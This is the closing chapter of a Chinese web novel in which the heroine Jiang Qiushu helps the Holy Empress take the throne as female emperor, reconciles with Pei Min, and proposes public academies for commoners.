一时间,洛阳街头巷尾人声鼎沸议论起此事来,凤凰指的不正是后宫之主,如今建成帝还未新婚,圣后便是名副其实的后宫之主,百姓不约而同的想到了这里。 帝星? 圣后便是帝星? 一些话在洛阳逐渐传来起来,圣后是帝星转世,登基为帝可保大周繁荣昌盛。 此事越传越大,原是市井中传的,后面朝中大臣皆听见了。 只不过无人敢提起。 “娘娘,臣昨日又得天之眷顾。”姜秋姝忽然道。 谁都晓得,这位姜侍郎便是因为得了牡丹花仙的眷顾,才从提前晓得了江都水患,救了人。 联想起那颗天外之石,朝臣心里隐隐有个想法。 “牡丹花仙将臣带入空中,俯瞰着大周土地,忽然一只凤凰展翅将大周笼罩着,并且降下了祥光。又听闻前几日忽然降落了颗灵石,臣心中有一想法,可怕说了是大逆不道!” 圣后闪过几分兴味,“本宫准你说。” “凤凰乃帝星,帝星可安大周,娘娘您便是那凤凰,臣请娘娘登位,顺应天命!”简单的一句话,直接让朝臣呆愣。 什么? 让圣后登基! 可转念一想,圣后执掌朝政多年,与皇帝有何区别! “娘娘,姜大人莫不是睡昏了头?”魏御史双眸睁得极大,千古以来有不少掌权的太后,可从未有当女帝的太后。 “臣本是天眷之人,若非牡丹指引,怎会救了江都人。如今说出这般的话,不过是为了应天地之令。朝臣若是有不满的,只可去问天地!” 姜秋姝振振有词,“请娘娘登基!” 李长宁也在此刻跪了下来,“儿臣觉得姜大人所言甚是,请母后登基!” 圣后一派的大臣几乎都跪了下来,可仍有些朝臣未动,圣后与帝位不过只差了名声,可真让圣后当了女帝,这李姓大周岂不是名不正言不顺。 可当他们看见大皇子和长公主皆跪了下来时,却有了些迟疑。 人李家人都不介意,圣后本就大权在握,此刻投诚好过抗拒。 “请圣后登基!” “请圣后登基!” ~~ 新政加女帝登基,不过半年朝堂焕然一新,姜秋姝骑了马车出城巡查,田野里黍长的极好,姜秋姝寻了个农家讨水喝,农妇慈善,给她打了好些水。 “近来收成如何?”姜秋姝问道。 “极好极好的。这地是朝廷分发下来的,以往要从世家手里租,便花费了大量的银子,后面收了粮食又要交赋税,一家子温饱都是问题,如今不过几月,粮食收了一次,抵了赋税还有余粮,如今就指着地里的刚好收第二岔,卖出去还能有盈余。”农妇便说,脸上都是笑着的。 他们才不管当朝的是女帝还是男帝,只要能让他们富足,便要去庙里祈求陛下长命百岁。 姜秋姝默默地听着,见时辰不早了,便起身告辞。 田野里绿汪汪的,长势极好,接下来也一定是好收成。 她上了马往其他的地方去,忽然一匹马挡在了她身前,她看了过去是裴珉。 圣旨既定,朝令颁布下去,姜秋姝便向圣后请罪,那封圣旨是她冒充裴珉写的,圣后罚了她俸禄,可朝中大臣却将全部的怒火都朝着裴珉发完了。 再见她,却比起最初的凶神恶煞和缓了不少。 忆起那半年,裴珉因右脚跨进太极宫而弹劾他大不敬,不晓得大周以左为尊,又从而说他不敬先帝,不敬太祖。 这般的事儿,经常发生,事情已经定下,朝臣所有的怒火便全部冲着裴珉发去。 他也是世家人,却丝毫不为世家利益考虑,得罪了不少人。 姜秋姝心头歉疚不少,对裴珉倒是也宽容了些。 “你来作甚?”姜秋姝疑惑道。 “陪你。” 裴珉朝她伸手,姜秋姝没理,直接下了马,刚好也可歇息歇息。 两人坐在石块儿上,远处是黍田,风轻轻的吹着,绿色的清新味道,叫人少了疲惫。 “小满?”裴珉忽然靠近,并且抓住了她的手,掌心的凉意让她愣了神,她看着那物。 是条细细的链子,上面还有铃铛,与最开始想要困住她的长得极像,她眼里瞬间结了层冰。 只不过给了他几分好脸色,便让他痴心妄想起来,姜秋姝挣扎着,“放开!” 可那双手,却带着姜秋姝往他的脚踝方向。 姜秋姝不晓得他意欲何为,可当他手把手的带着她将那脚链戴在他脚上时,姜秋姝愣了神! 铃铛声脆耳,本是女子的装饰或夫妻间情趣的物什,挂在了他脚腕上。 裴珉将她彻底抱在了怀里,动作间铃铛声越发的响。 “小满,我是你的。” 姜秋姝想起了她曾和他解释过,挂上这东西对她而言,如同成了旁人之物,与看家护院呃家禽,没有区别。 可他竟然将它挂在了自己脚上,若是她没看错的话,那条链子甚至刻上了两个字。 小满。 回洛阳的时候,姜秋姝的马儿忽然不见了,明眼儿都晓得是何人所谓,姜秋姝瞪了裴珉好几眼,却不得不和裴珉共乘一匹马回府。 身后男子浑厚的气息将她包裹着,姜秋姝原本还有些顾虑,离了裴珉好些距离,可随着马儿的颠簸,她后背时常靠在了裴珉的胸膛上,本是勉力维持着,后来彻底的没了力气,也就任其随意了。 裴珉弧度上扬了不少,约莫半个时辰才回了洛阳,姜秋姝本想要裴珉将她在成门口便放下,裴珉像丝毫都没有听见般,骑着马带她招摇过市。 姜秋姝无所谓,只不过裴珉倒是脸皮越发的厚。 市集上的人大有认识姜秋姝和裴珉的,瞧他们亲如一体的模样,这前夫妻莫不是要重归于好。 裴承本在茶楼上喝着茶,刚打开窗户,裴珉和姜秋姝共骑一程,五叔脸上的笑,是他许久未曾见过的,姜秋姝也没往日避嫌的模样,和五叔亲昵的靠在一处。 所以他本就是痴心妄想,那些未说出口的话,这辈子也不必说了。 郑如珠和郑明恪正在街上逛着,如今郑家因查清王家之事得了晋升,在女帝面前得了脸,也比之前要好过了不少。 郑如珠正看着铺子里的首饰,郑明恪拍了拍她的肩膀,郑如珠看了过去,瞧见了马背上的姜秋姝与裴珉。 “阿兄,你当初不该的。”郑如珠如今只剩下感慨,他们与师兄终究渐行渐远的。 师兄为了他们付出良多,可终究他们私心太多了。 “当时鬼迷心窍了。”郑明恪嘲讽一笑。 落差太大了,本是洛阳豪族,在苦寒之地受尽磨难,重新回到了洛阳心头愤懑,只想着重现郑家风光。 即便是幼时相识,至交好友,如今也只能各自安好。 又一年,国泰民安,风调雨顺,大周早就改朝换代成了大盛。 女帝执掌朝政,更是多了些雷霆之力,一时间叫朝臣臣服,不敢放肆。 文武官分立在两侧,只不过文官中头一位官员成了当今第一女官,姜秋姝。 朝臣谁都晓得她不好惹,短短两年将不少大臣都压了过去。 她忽然站了出来,百官皆警惕的看着她。 “臣希望修建可供天下学子进入的书院。” 如今书籍被牢牢握在世家手里,寒门苦读要比这些世家辛苦千万倍,她所愿便是天下万民有书读,而非举家之力耗尽家财,才能养出一名学子。 朝堂上的百官只是相互看了几眼,想要说话,可看周围人都没有反应,暗暗希望有人能够站出来,可自始至终没有一个人能站出来。 谁不晓得这位姜大人是最不好对付的! “准。” 陛下金口玉言更是让朝臣息了心思,反正他们是斗不过这位姜大人的。 姜秋姝仰头,此事过了辰时,外边儿天光大盛,晨曦照在人脸上,暖洋洋的。 正文完【你现在阅读的是 】